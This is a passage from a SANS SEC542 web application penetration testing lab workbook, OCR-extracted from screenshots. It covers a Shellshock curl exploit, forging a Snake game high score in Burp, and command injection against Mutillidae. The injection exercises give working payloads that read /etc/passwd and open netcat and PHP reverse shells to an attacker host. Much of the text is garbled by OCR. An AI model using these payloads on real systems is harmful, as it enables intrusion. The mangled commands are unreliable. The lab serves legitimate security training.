4Upmmwmemwmmcmhmmmmdamr@mm bin/cat /etc/passwd with /usr/bin/id:

curl -A "() { 423}3echo;/usr/bin/id" http://sec542.0rg/cgi-bin/netstat.cgi

5. The command and its output should look like the following:

- : Terminal - student@Security542: ~ = X
File' Edit ‘View Terminal Tabs Help:

[~1% curl -A "() { 42;};echo;/usr/bin/id" http://sec542.org/cgi-bin/netstat.cgi
uid=3i(wwfdata) gid=33(www-data) groups=33(www-data)

[-1%

/bin/uname via curl
1. Now, let's display the kernel version on the system, which could allow us to identify a potential local privilege escalation flaw.

2. Up-arrow the previous curl command, and replace /usr /bin/id with /bin/uname -a:

curl -A "() { 42;3};echo;/bin/uname -a" http://sec542.org/cgi-bin/netstat.cgi

3. The command and its output should look like the following:
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> B : : l'e_rminal-s_l_:uder!t@Se::uf!"__:yEdZ:- = £ X
File Edit View Terminal Tabs Help:

[-]1% curl -A "() { 42;};echo;/bin/uname -a" http://sec542.org/cgi-bin/netstat.cgi
Linux Security542 4.15.0-58-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86
64 x86 64 xB86 64 GNU/Linux

-1s N H

4. Feel free to try other commands, but note you must provide the full path to the binary to be executed.

1. Be sure to disable the proxy setting in Firefox so that it does not interfere with future labs.

2. Go to the Firefox proxy selector drop-down and choose [Direct].

N @ &
® [System Proxy]
@ Burp Community
Burp Pro
@ zap
Y localhost ~

/& Options
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Exercise 2.Bonus-2 - Snake Challenge

Objective

+ Acquire a high score by hacking Snake.

Lab Setup

Note

This exercise requires a Burp Pro license. If you have not already done so, please go to the Installing Burp Pro lab, and follow the
instructions there.

1. In the SEC542 Linux VM, open Burp Pro and then open Firefox.

2. Wait for Burp Pro to launch.

Warning

If you receieve a prompt to update Burp, click Close as any new or changed feaures may impact future lab exercises.

3. Run one instance of Burp Pro only. Multiple instances of Burp Pro are running if you see the warning below.
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Note

If you only have one instance running, you should not expect to see the popup below.

v Delete old temporary files? X

Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?
' Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019  /tmp/burp3936178803653028771.tmp
Tue May 28 15:11:08 PDT 2019  /tmp/burp17790170802505851378.tmp
Tue May 28 15:08:15 PDT 2019  /tmp/burp305967424870421416.tmp
Tue May 28 15:46:13 PDT 2019  /tmp/burp4042600176303109235.tmp

Delete

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro
instances and start over.

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port 8080
because it is in use by another instance.

4. Click Next on the project screen (use the default option of Temporary project). Then click Start Burp on the next screen (use the
default option of Load from configuration file).

5. In Firefox, go to the proxy selector, and choose Burp Pro.

L INn D o
O [system Proxy]
@ Burp Community

Burp Pro

'ﬂ @ Zap \

Y localhost =

/4 Options

6. In Firefox, go to http://sec542.org/snake/.
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pdanhieux
smisenar
econrad
mhoffman
rsiles
mfrost

dhazar
tmckenzie
helhadary

7. Play Snake. Press the space bar to start the game, and use the arrow keys to change direction. Try to hit the red blocks with your
snake. Once you understand how the game works, start a new game and score 10 points. Enter a name with 10 on the end (so

you can later match then score to other variables in Burp).
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8. Play again, and score 20 points. Enter a name with 20 on the end (such as Arthur20 ). Repeat the process and score 30 points,

Ul

1
2
3
4.
5
6
T

9.

Highscore?
pdanhieux 2501

smisenAr 2500
e

nter Your Namu

arthurlO

~TIMCKENZIe
helhadary

10. sborso

entering a name with 30 on the end.

9. Next, go to the Burp -> Proxy -> HTTP History tab. Find the POSTs to /snake/enterHighscore.php .

180
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Burp Project Intruder Repester Window Help

Dashboard  Target Proxy uder  Repeater  Sequencer Decoder  Comparer Logger  Extender  Projectoptions User options Learn
Intercept  HTTP history __gWebSockets Options
k Logging of aut-of scope Proxy troffic is disable Re-enable

Filter: Hiding CSS, image and general binary content ‘ ®)
# Host Method URL Params| Edited Status Length MIMEty.. Extension Title Comment TS P Coakies Time | Liste
11 https/iworkbooksec542.. GET  fjsiworkboak js 200 877 saript s V10424242 14.04:255]... 808D
12 nttpsUiworkbooksecS42.. GET  fsfiquery.fancybox.min.js 200 68546 script s J 10424242 14:04:255]... 8080
28 hups//workigoksec542.. GET  fsearchfsearch index.jsan 200 509669 JSON json J 10424242 14:04:275]... 80BD
29 nttpsUiworkbi .. GET fassetsfjavascriptshworkers/sea... 00 36648 script s J 10424242 14:04:27 5]... 8080
31 hupisecsdZarg POST  fsnake/enterHighscore php v 200 180 sript  php 10424242 14:04:535]... 80BD
32 httpisecs42org POST  fsnakefenterHighscore.php v 200 180 script  php 10424242 14:04535] .. 808D
33 hupidisecS42org GET  fsnake/highscoresixt?16570298.. 200 B9 text ot 10424242 14:04:545]... 808D
34 httpfisecS42org GET  fsnake/highscorestxt?16570258. o 00 B9 text ot 10424242 14:05:145]... 808D
35 nhttpifisecs42org GET  fsnake/highscoresitxt?16570299.. 200 B9 text ot 1042.42.42 14.05:145]... 808D
36 http//secs42.orn GET  /snake/hiohscorestxt?16570299. 00 809 text ot 10424242 14:05:145]... B0BD
Reque: Response m .. Inspector ] m T - & X
Raw Hex no= Pretty Raw Hex Render n = Request Attributes = o

1 PoST /snake/enterHighscore.php HTTR/1,1 1 HTTP/1.1 260 OK

2 Host: sec542.0rg 2 Date: Tus, 05 Jul 2022 14:04:53 GMT

3 User-Agent: Mozilla/5.0 [X11; Ubuntu; Linux x86 64; rv:161.0) Server: Apache/2.4. 41 (Ubuntu) Request Body Parameters 53 2.2

Gecko/20100101 Firefox/101.0 4 Content-Length: 13
{ Accept: ¥/¥ = Connection: close Reguest Headers % %

Accept-Language: en-US,en;q=0.5 Content-Type: text/htnl; charset=UTF-8
Accept-Encoding: gzip, deflate
Referer: http://sec542 org/snake/ 5 Estatus=ok& s s
Content-Type: application/x-www-form-urlencoded
Origin: http://sec542.0rg
Content-Length: 5004

Connection: close

n
<

13 QEHIE=_1EVEIB.gEmE&tEXtMCP_‘LEVE.LU‘tEXtMC&S(OTETEXtFi51d=
levelO, scorsTextFisld&statusTextField= leveld, statusTextFislds
highscores=_lewel0. highscorestsnake. swf=&%24version=
LN+ 32% 200% 2C0% 20085t art Gane="5Bt y pe +Funct 1on%SDemain=
%5Btype+Funct ion%SDarepl ayMain=%SBtype+Funct ion%SDsgane0ver=
%56t ype+Funct 1on%SDEplaceFood=%5Bt ype+Funct 10n%50&
enterHighscore=456t ype+Funct ion%sD&
getLoadedRecordinghumbe rHighsco rePos=%56t ype+FunctiontSDa
ToadHighscores=4%56type+Funct ion%SD&l oadRecording=
%5Btype+Funct ion%SDEsaveHighscore=%SBt ype+Funct 10n%50&
startClicked=%5Bt ype+Funct 1on%5D5viewGane="56t ype+Funct 1on%sD&
blocksize=6&ganeHeight=30&ganeWidth=45&replaySpeed=1&
SNAKE_BLOCK=18xVelocity=-1%2C042C1%2C06y Vel ocity=0%2C- 1% 2C0%2C1
skeylListener="5B0bj ect+0bj ect%SDavars=

@& el

omatches | (2) {3} | €[] | sean 0 matches

10. Click on the first POST.

11. The Request body has all the values required to beat Snake, but they are encoded. In the bottom pane on the right-hand side,
expand Request Body Parameters.

Request Response O= = Lnspectar T @ X
v Raw  Hex n = Pretty  Raw  Hex  Render W S | et striutes -
1 POST /snake/enterHighscore. php HTTP/L.1 HTTP/1.1 200 OK \
2 Host: sec542.o0rg Date: Tue, 05 Jul 2022 14:04:53 GMT
3 User-Agent: Mozilla/S.0 (X11:; Ubuntu; Linux x86 64; rv:181.0) 3 Server: Apache/2.4.41 (Ubuntu) Request Body Parameters ~
Gecko/20100101 Firefox/101,0 4 Content-Length: 13
Accept: /% S Connection: close Name Value =
Accept-Language: en-US,en;g=0.5 Content-Type: text/html; charset=UTF-8
© Accept-Encoding: gzip, deflate e _levelD.game >
Referer: http://sec542 org/snake/ ) status=ok&
Content-Type: application/x-www-form-urlencoded ] Ledme evelDtextMc ?
Origin: http://sec542.0rg scoreTextField _levelDscoreTextField  »
Content-Length: 5004
Connection: close statusTextField _levelOstatusTextField >
2 game=_levelD game&textMC= levelO.textMCEscoreTextField= highscores levelDhighscores >
_'LEVE'UJ.S(DFETEXtField&statusTExtFlEld=_‘LEvElD‘StatusTExtFiEld& sriake.swf >
highscores= level0.highscoresGsnake. swf=&%24version=
LNX+32% 2C0R2C0%2C0&st art Game=%5Bt ype+Funct 1on%5D&main= %24version LNX32.0,0.0 >
“%SBtype+Function%SDErepl ayMain=45Bt ype+FunctiontSDEganeOver=
%56t ype+Funct ion%5D&pl aceFoad=%56t ype+Funct 10n%5D& startGame [type Function] >
enterHighscore=%5Btype+FunctionssDe ;
get LoadedRecordinghunbe rHighsco rePos=%5Bt ypa+Funct 1on%506 main Eiype fuactico) >
LoadHighscores=%SBtype+Function%5D&l oadRecarding= replayMain ftype Function] 5
%5Btype+Function%SD&saveHighscore=%5Bt ype+Function%sD&
startClicked=%SBtype+Funct lon%SD&viewGane=456t ype+FUnct ions5D& gameOver [type Function] >
blocksize=BigameHeight=300yanewidth=456replaySpeed=1&
SNAKE_BLOCK=16xVelocity=-1%2C0% 2C1% 2008y Vel ocity=0%2C - 1% 2005 2C1 prEnEGed Eype Hinctioo) >
tkeylIstener=4SBobject +0bj ect%5Davars= ey e Eype sunciion] 3
(@ AIES i omahes | () {8} (& (3 | seaw Omatches | gett oadedRecordin... [type Function] >

12. Now, scroll down the expanded Request Body Parameters section, where it shows the score and scorehash values.
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Inspector wl = - & X
¥y 21 2
map e e e
turnQueue >
foodCounter 1 >
snakeBlockCounter 147 >
currentDirection 0 >
snakeEraseCounter 136 b
sCore 20 7
scorehash 1737 >
lastRec 106 >
ticks 147 >
recFoodPos 0 b
recPos 0 2
playRec false b
gameRunning false >
playerName rnicholson0 >
returnvars onLoad=%5Btype+F... 2
loadHighscoresinter... 3 2

13. Changing the score is not enough to win the challenge; scorehash must also be changed. Part of the challenge is deducing the
connection between score and scorehash .

14. Note that score = 10 and scorehash = 1437 . Inspect the values for the scores of 20 and 30 .
15. Snake’s server-side logic is quirky, so here are a few notes:

* Any score higher than the current high score will show as +1 on the scoreboard. For example, if the current score is 2501, and
you score 3000 , your new leaderboard score will be 2502 .

* You can resubmit the same score of 3000 , and your new score will be 2503 .

+ Why? Ask the developer. We agree this is odd, but it makes it easy to create high scores.

182 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

Technet24


https://technet24.ir
https://technet24.ir

Challenges

+ Determine how the scorehash is generated

+ Use this scorehash algorithm to send a new high score to the application
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Solution

1. Here is the pattern:

score: 10, scorehash: 1437

score: 20, scorehash: 1737
' score: 30, scorehash: 2237
2 The next challenge is deducing the algorithm. You can use Wolfram Alpha’s sequence search if you have Internet access (see section at the end). Many students notice the 37 at
the end of all scorehashes and see 1337 (leetspeak for ‘leet’, wherethe 1 isan L ,the 3 'sare @ 'sandthe 7 isa t).

3- The algorithm is (score * score) + 1337 .We cannow predict a future scorehash based on a score.
4. Round numbers are easier to use, so we'll calculate a score of 5000 (remember that any score higher than the current high score will show as +1 on the scoreboard):
' (5000 * 5000) + 1337 == 25001337

5. In Firefox, play Snake and score any amount of points. Do not enter a high score yet.

6. Go to Burp'’s Proxy -> Intercept tab and press the Intercept button.

Burp Project Intruder Repeater  Window Help
Dashboard Target Intruder Repeater Sequencer Decoder Compar|
TI'F' history WebSockets history Options
Rej
Intercept is off Open Browser

. You'll need

There's no need to configure your proxy settings configure
manually. Use Burp's embedded Chromium gurey
testing overl

7. Intercept will now be on.

8. Go back to Firefox and enter a name.

Highscores

pdanhieux
smisenAr
—Vifnter Your Na

mi

IWIN!

—UIMCKENzZie
helhadary 2150 view
2100 view
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9

10.

Once you press Enter , Burp Intercept will automatically pop up.

M Params T Headers T Hex ]

[ Forward | | Drop J | Intercept is on | L Action J Commaent this item W

POST /snake/enterHighscore.php HTTP/1.1

Host: sec542.org

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux xB86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: */%

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: phpbb3_grk7n_u=1: phpbb3_grk7n_k=; phpbb3_grk7n_sid=bf43a76248a6bb00228f42bd2f45bbbd
Content-Type: application/x-www-form-urlencoded

Content-Length: 2737

game=%5Flevel 0%2Egame&textMC=%5Flevel0%2EtextMCascoreTextField=%5Flevel0%2EscoreTextField&statusTextField=%5Flevelo%:
2EstatusTextField&highscores=%5Flevel0%2Ehighscores&%24version=LNX%2032%2C0%2C0%2C192&startGame=%56type%20Functionss
D&main=%5Btype%20Function%5D&replayMain=%5Btype%20Function%50&gameOver=5%5Btype%20Function%5D&placeFood=%5Btype%20Fun
ction%5D&enterHighscore=%5Btype%20Function%5D&getLoadedRecordingNumbertHighscorePos=%5Btype%20Function%5D&loadHighsco
res=%5Btype%20Function%5D&loadRecording=%5Btype%20Function%5D&saveHighscore=%5Btype%20Function%5D&startClicked=%5Bty
pe%20Function%5D&viewGame=%5Btype%20Function%5D&blockSize=8&gameHelght=30&gameWidth=45&replaySpeed=1&5NAKES5FBLOCK=1
&xVelocity=%2D1%2C0%2C1%2C0&yVelocity=0%2C%2D01%2C0%2C1&keyListener=5%5Bobject%200bject%5D&vars=recFood%3010p%252011%2
52056%26recFrame%3D%2520e%2520e%2520d%2520g%25207%25209%25202%25209%25208%25201%25209%26recTurn%3D23012301232%260onLo
ad%3D%255Btype%2520Function%255D&enterHighscorekeylListener=%5Bobject%200bject%5D&lowestHighscore=1&loadedRecordingNu
mber=%2D1&recTurn=2&recFrame=%20b&recFood=13h%20rk&x=45&y=17&map=%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C
%2C%2C%20%2C%2C%2C0%2C%2C%2C0%2C%2C%2C0%20%2C0%2C%20%2C%2C%20C%2C%2C%20%2C%2C0%20%2C%2C0%20%2C%2C%2C%2C%2C%2C%20%2C%2C%2C%2
%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%
20%2C%20C%20%2C%20%2C%2C%2C%2C%2C%20C%2C%2C%2C%2C%2C%2C%20%2C%2C%2C0%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C
%2C%2C%2C%2C%2C%2C%2C%2C%2C%5F level0%2Egame%2Efood%2E0%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2
C%2C%2C%2C%2C%2C%2C%2C%2C0%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%

Click the R

Inspector w) = - © X

Request Attributes Z. W

Request Query Parameters

Request Body Parameters
game _levell.game

b
texthC _levelltextMC >

o S b e
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q Body Par s dropdown arrow and change scoreto 5000 and scorehashto 25001337 . Then click the Intercept button, turning it back off.
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FLiTe L

snakeBlockCounter 28

currentDirection

1

snakeEraseCounter 22

score
scorehash
lastRec

ticks
recFoodPos
recPos
playRec
gameRunning
player Name

returnvars

loadHighscoresin...

Request Cookies

Request Headers

5000
25001337
0

28

0

0

false
false
rnicholso
WODM0A=Estatus...
1

10
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11. Go back to Firefox (you may need to reload the page). You win!
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1. Be sure to disable the proxy setting in Firefox so that it does not interfere with future labs.

2. Go to the Firefox proxy selector drop-down and choose [Direct].

N @

|

O [System Proxy]

@ Burp Community
Burp Pro
@ Zap

Y localhost ~

_ /& Options
€

Wolfram Alpha Sequence Search

A Wolfram Alpha sequence search can discover the scorehash algorithm.

Surf to: https:/www.wolframalpha.com
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The sequence search needs 4 values, so score 40 points, and you'll see scorehash is 2937 . Enter the following search in Wolfram
Alpha 1437,1737,2237,2937,... Be sureto include the ellipsis ( ... ) at the end. This URL includes the ellipsis by encoding the
. characters as %2e:

« https://www.wolframalpha.com/input/?i=1437,+1737,+2237,4+2937,%2e%2e%2e

Wolfram Alpha notices the “1337”, and the algorithm can be simplified as follows:

(score * score) + 1337
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Exercise 3.1 - Command Injection

Objectives

+ Become familiar with inline (visible) and blind command injection attacks
+ Use and inject netcat and PHP backdoors

+ Hands-on use and understanding of a reverse shell

+ Simulate a firewall protecting the web server that blocks ICMP

+ Use Burp Collaborator to perform blind command injection

+ Use Burp Collaborator to exfiltrate data

Lab Setup

Warning

Ensure you are NOT proxying with Burp or ZAP as that may cause issues with this lab.

1. Open Firefox and surf to: https://www.sec542.org/mutillidae/index.php?page=dns-lookup.php.

Note

If Mutillidae becomes slow or unresponsive, quit Firefox and restart.

2. We will use an Alpine Linux Docker container for the attacker system, which is used to simulate a remote attacker (and receive a
reverse netcat shell). Open a terminal and type the following:

ifconfig etho

3. This will show the SEC542 Linux VM's IP address for the eth@ adapter.

4. Then start the attacker container:
/labs/attacker-container.sh

5. Then type ifconfig etho inthat shell, to show the container's IP address.
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- Terminal - student@Security542: ~
File Edit View Terminal Tabs Help:
[~1% /labs/attacker-container.sh

/ # ifconfig eth®

etho Link encap:Ethernet HWaddr 02:42:AC:11:80:02
inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1580 Metric:1
RX packets:46 errors:0® dropped:0 overruns:® frame:0
TX packets:0 errors:0 dropped:0 overruns:@ carrier:0
collisions:@ txqueuelen:®
RX bytes:6280 (6.1 KiB) TX bytes:0 (8.0 B)

/ #1

6. Note that the IP is different from the SEC542 Linux VM's IP address.

Challenges - Inline (visible) Command Injection

Perform the following command injections via exploitation of Mutillidae's vulnerable DNS Lookup function:

- Display /etc/passwd

190 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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Solution

1. We are hoping the programmer is not filtering characters in the Name we choose to look up and has written the code as (this is an example, do not try to run it):
nslookup <whatever they just typed>

2. The exploit: Senda nName , followed by a semicolon and a shell command (this is also an example):
nslookup sec542.org; next command

3. Let's try it; type this in the DNS Lookup form:

sec542.org; cat /etc/passwd

4. Then click Lookup DNS. Note that the command is truncated in the screenshot below due to the size of the input box.

| Results for sec542.org;cat /etc/passwd ]

Server: 127.0.0.1
Address: 127.0.0.1#53

Name: sec542.org
Address: 10.42.42.42

root:x:0:0:root: /root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin: /usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:60:games: /usr/games: /usr/shin/nologin
man:x:6:12:man: /var/cache/man: /usr/sbin/nologin
1p:x:7:7:1p:/var/spool/lpd: /usr/shin/nologin
mail:x:8:8:mail: /var/mail: /usr/sbin/nologin
news:x:9:9:news: /var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp: /var/spool/uucp: /usr/shin/nologin
proxy:x:13:13:proxy: /bin: fusr/sbin/nologin
www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups: /usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/irecd: /usr/sbin/nologin

5- One method for exploiting some command injection flaws is to append commands with && or R
+ Double ampersand means: run the second command if the first command exits without error
+ Semicolon means: run the second command after the first command (regardless of any errors)

6. We don't care about errors, so we'll use a semicolon.
7- We have displayed the contents of /etc/passwd .

8. why cat /etc/passwd ?Boththe €at command and the file /etc/passwd are almost universally available across all major versions of UNIX and Linux, and

/etc/passwd is normally world readable.
9- The actual hashes are most likelyin /etc/shadow , which we would normally not be able to read via the web server user.

10- you may try to view other files as well. Unfortunately, we lack the permission to view /etc/shadow . The next step illustrates why.

« Discover the privileges of the web server user
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Solution

1. Go back to the DNS Lookup form and type:

sec542.org; 1id

[ Results for sec542.0rg; id ]
Server: 127.6.0.1
Address: 127.0.0.1#53

Name : sec542.org
Address: 10.42.42.42

uid=33(www-data) gid=33(www-data) groups=33(www-data)

2. The web server is running as uid 33, user www-data. This is normal: Web servers typically run as lower-privileged users to limit the damage from attacks such as the ones we are
launching right now.

3 The i d command is quite handy for command injection attacks. It shows us the privileges ( uid, g'i d , and group membership) of the current user. It is also small (two

characters) and generally available across all versions of UNIX, Linux, and macOS. It is also usually in a default path, normally /usr/b'i n/'i d.

+ Send a shell to the attacker container
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Solution

1. If you have started the attacker container, proceed to the next step. If you have not started the container yet, type the following command in a SEC542 Linux VM's terminal:

/labs/attacker-container.sh

2. Let's open a reverse shell via command injection. This is sometimes called "shoveling" a shell and means we will send the shell to a waiting listener rather than opening a listening
backdoor on the victim. We're using the Alpine Linux container to simulate the remote attacker receiving the shell. In this example, the TCP connection carrying the shell will initiate
from the web server (the web server will send the initial SYN packet to the Alpine Linux container), and flow outbound to the attacker:

« [web server] ----> [attacker container]
3. If there is a firewall, the TCP connection to the attacker container will be outbound, not inbound, and is much more likely to be allowed. Type the following in the attacker terminal

window (it's the terminal with red characters and this prompt: / #)

Note

The first flag is the lowercase letter L, not the number one. This tells netcat to listen (1) onport (p) 1337 . The (vv ) tells
netcat to be verbose in its communication. The ( n ) indicates that no name resolution should be performed.

nc -lvvnp 1337

4. The container is now awaiting connections on port 1337 :

5. Next, type the following in the Mutillidae DNS Lookup form:

sec542.org; ncat attacker.sec542.org 1337 -e /bin/bash

6. Click Lookup DNS.

Note

The web page will seem unresponsive and not immediately return any results. This is expected as the web server is currently
connected to the attacker via a reverse shell.

7. Go back to the attacker container terminal, and you should see a new connection shows up. Now you can type shell commands. There will not be a banner to indicate the shell.

Thankfully, the ( VV ) switch will report any connections, so even though we haven't received data we know the connection is waiting for us to just start typing commands.

- Terminal - student@5ecurity542: ~ AL
File Edit WView Terminal Tabs Help:

/ # nc -lvvnp 1337 m
listening on [::]:i1337 ...

connect to T::¥fff:172.47.9.2] 11337 Trom [afTEf:172,17.0.1):139346 ([ :vff

Tf:172.17.0.1]:39340)

8. Try some simple Linux commands suchas hostname or uname -a:
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2 Terminal - student@sec542: ~ - 4+ x
File Edit View Terminal Tabs Help

/ # nc -lvvnp 1337

listening on [::]:1337 ...

connect to [:sffff:172.17.0.21:1337 Trom Eaifrffii2. 0.0, 1137212 (P sftefed72.,
17.0.1]:37212)

hostname H

sech42

9. Success! The shell has connected into the listener.
10. Be sureto press Ct r1-C after you finish to drop the shell. Otherwise, Mutillidae might seem unresponsive the next time we try to use it.

M you may be wondering, what if netcat is not installed on the web server (or is installed, but is missing the —€ flag)? Great question! There are many options.

12. Pentestmonkey.net has an amazing reverse shell cheat sheet, with examples in many languages. PHP is commonly available, so let's use that. If you would like to try this, exit the

netcat listener in the Alpine Linux and restart it.
nc -lvvnp 1337

13- Then type the following in the DNS lookup form (there will be a warning, which is harmless). We have copied this syntax (along with other useful backdoors) to /home /
student/backdoors.txt if youwould like to copy and paste the PHP syntax below (in that case, be sure to type S€C542.0r g3 first, and then paste the PHP

command). Use the IP address shown in the previous 1fconfig eth@ output:

sec542.org; php -r '$sock=fsockopen("attacker.sec542.0rg",1337)3exec("/bin/sh -1 <&3 >&3
2>&3") 3"

Note

This command should be entered as a single line.

14 \gnore thewarning /bin/sh: ©: can't access tty; job control turned off.

Challenges - Blind Command Injection

Next: Perform the following command injections via the "Is it alive?" page: https://www.sec542.org/collab/
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cvisited [ Secs42 Wiki

« Check to see if the form is vunerable to inline (visible) injection (where the command output is shown to the attacker)

nooee P =
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Solution

1. We are once again hoping the programmer is not filtering characters in the DNS name or IP address we choose to ping and written the code as:
ping <whatever they just typed>

2. The exploit: Send a name, followed by a semicolon and a shell command:
p'i ng sec542.org; next command

3. Let's try it; type this in the DNS Lookup form:

sec542.o0rg; cat /etc/passwd

sec542.0rg; cat fetc/passwd

4 We do not see any output fromour cat /etc/passwd command:

5. Inline (visible) command injection does not seem to work. The form itself still works as designed (since the page responds "Host is alive!"). The question becomes: did the

cat /etc/passwd command work (blindly)? We'll need to use a different command to find out.

« Determine if the form is vulnerable to blind command injection
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Solution

1. Next, let's add a 2" ping command (after the one we assume the programmer has coded). If we ping 127 « 0.0« 1 eleven times: it will pause 10 seconds if we are successful.
Why 11 pings for a 10 second delay? The first ping is instant (second 0), and then one follows each second. This is an old-school batch (BAT) file programming trick, since Microsoft
DOS lacked a sleep command. We can use the same trick on Linux. Note that we assume that the form itself is also pinging, so the pause will be a bit longer than 10 seconds.

2. Type the following:

sec542.0rg; ping -cll 127.0.0.1

iec542.0rg; ping -c11 127.0.0.1

3. Note that the page pauses for roughly 10 seconds before returning, indicating our command injection worked.

* Ping the attacker container at attacker.sec542.org and sniff with tcpdump .
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Solution

1. Type this command in the attacker container (it's the terminal with red characters and this prompt: / # ). Note that you may need to press Ct r1—C to exit the previous shell

(if you have not done so already).

tcpdump -n dicmp

2 This tells tcpdump to not resolve names ( =N ), and capture/display only icmp requests ( i cmp ).

3. Then, enter the following in the "Is it alive?" page:

sec542.org; ping -c3 attacker.sec542.org

4. Then click Submit.

1 3; ping -¢3 attacker.sec542.0rg

5 Note that the form pauses for a few seconds, and tcpdump shows the packets.

e o 10

.

20:08:10.773272
ength 64
20:08:10.773290
gth 64
20:08:11.774535
ength 64
20:08:11.774551
gth 64
20:08:12.806717
ength 64
20:08:12.806744
gth 64

# tcpdump -n icmp
tcpdump: verbose output suppressed,

listening on eth®, link-type EN1OMB

IP

IR

IP

IP

IP

IR

.....

o G

172, 17.6.1 >
172.17.0.2: >
172.17.8.1 >
172.17.0.2 >
172.17.0.1 >

172.17.0.2 =

172,

172

172.

172.

172.

I7E.

use -v or -vv for full protocol decode
(Ethernet), capture size 262144 bytes

17.0,25 TCMP
17.0.1: ICMP
17.0.2: IcMP
17,025 TEMP
17.9,2;: ICMP

17801y TCHMP

echo
echo
echo
echo
echo

echo

request, id 5911, seq 1, 1
reply, id 5911, seq 1, len
request, id 5911, seq 2, 1
reply, id 5911, seq 2, len
request, id 5911, seq 3, 1

reply; id 5911; seq 3; len

6-press Ctr1-C inthe terminal window to stop tcpdump .

+Use iptables to block ICMP to attacker.sec542.org (simulating a client's firewall doing the same).

198
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Solution

1. We'll use nslookup to determine the IP address of attacker.sec542.org, and then use i ptab'les to block ICMP to that address. We are doing this to simulate a highly-
firewalled webserver that is blocking ICMP.

2. Open a new terminal and type the following.

Note

Do not type this in the attacker container, be sure to type it in a normal terminal.

nslookup attacker.sec542.org
sudo iptables -A OUTPUT -d 172.17.0.2 -p icmp -j DROP

=

b _ _Termin;ll-student@s_ecuri_tysdl:n - % x|
File Edit View Terminal Tabs Help.

[~1% nslookup attacker.sec542.org (
Server: 127.0.0.1

Address: 127.0.0.1#53

Name: attacker.sec542.org
Address: 172.17.0.2

[-]1% sudo iptables -A OQOUTPUT -d 172.17.0.2 -p icmp -j DROP
[sudo] password for student:

-1% I

o

3. Type this command in the attacker container (it's the terminal with red characters and this prompt: / # ). You may need to press Ct r'1—C to stop the previous tcpdump
(if you have not done so already).

tcpdump -n icmp
4. Then enter the following in the "Is it alive?" page:

sec542.0rg; ping -c3 attacker.sec542.org

5. Then click Submit.

6. Note that the form pauses for a few seconds, and tcpdump does not show the packets.

-

Terminal - student@Security542: ~ T
File Edit View Terminal Tabs Help
/ # tcpdump -n icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth®, link-type EN1GMB (Ethernet), capture size 262144 bytes

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 199



https://technet24.ir

7.Press Ctr1—C inthe attacker terminal window to stop tcpdump .

8. Let's remove the firewall rule that was previously created (do not run this command in the attacker container):

sudo iptables -D OUTPUT -d 172.17.0.2 -p icmp -j DROP

» Terminal - student@sec542: ~ - 4+ x
File. Edit View Terminal Tabs Help

[~1$ sudo iptables -D OUTPUT -d 172.17.0.2 -p icmp -j DROP
[~1s B

+ Use Burp Collaborator to verify blind command injection.
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Solution

1. Open Burp Pro by clicking on the Burp Pro icon in the upper right corner.

Warning

If you receieve a prompt to update Burp, click Close as any new or changed feaures may impact future lab exercises.

1. Go to Burp -> Burp Collaborator Client.

b Burp Suite Professional v2021.3.1 - Temp

Intruder Repeater Window Help

Intruder Repeater

Configuration library

Liser options 2 |

Burp Infiltrator f: Finished |

Burp Clickbandit
Burp Collaborator client
Exit

0 responses gueu

' 0
CABPr n responses proce

2. Live audit from Proxy (all traffic)

2. Then press Copy to clipboard.
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> Burp Collaborator client

own testing. Any interactions that result from using the payloads will appear below.

Generate Collaborator payloads

Poll Collaborator interactions

Polleveryseconds| Poll now |

——

@ Click "Copy to clipboard" to generate Burp Collaborator payloads that you can use in your

Number to ge... | 1 l | Copy to clipboard | Include Collaborator server locati

# Time Type Payload

Comme

Close

3- This will copy a randomly-genrated unique DNS name (such as 6XV6WS7m60Vi4zxwtumy61lgj7pxdm.oastify.com though yours wil be different),

allowing Burp Collaborator to determine if anything resolves that name via its DNS server.
4 Type the following in the "Is it Alive?" page: S€C542. orgs; nslookup <CTRL =-V> (to paste your unique DNS name):

5- 1t will look like this (but again note that your name will be different: s€c542. org; ns'I.ookup
q6xv6ws7m60vidzxwtumy6lgj7pxdm.oastify.com.

6. Press Submit and return to the Burp Collaborator client window and press Poll now.
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> Burp Collaborator client = o

® Click "Copy to dipboard” to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from
using the payloads will appear below,

Generate Collaborator payloads

Mumber to generate: | 1 | | Copy to clipboard | Include Collaborator server location

Poll Collaborator interactions

Poll everyl &0 | seconds | Pall now |

# Time Type Payload Comment
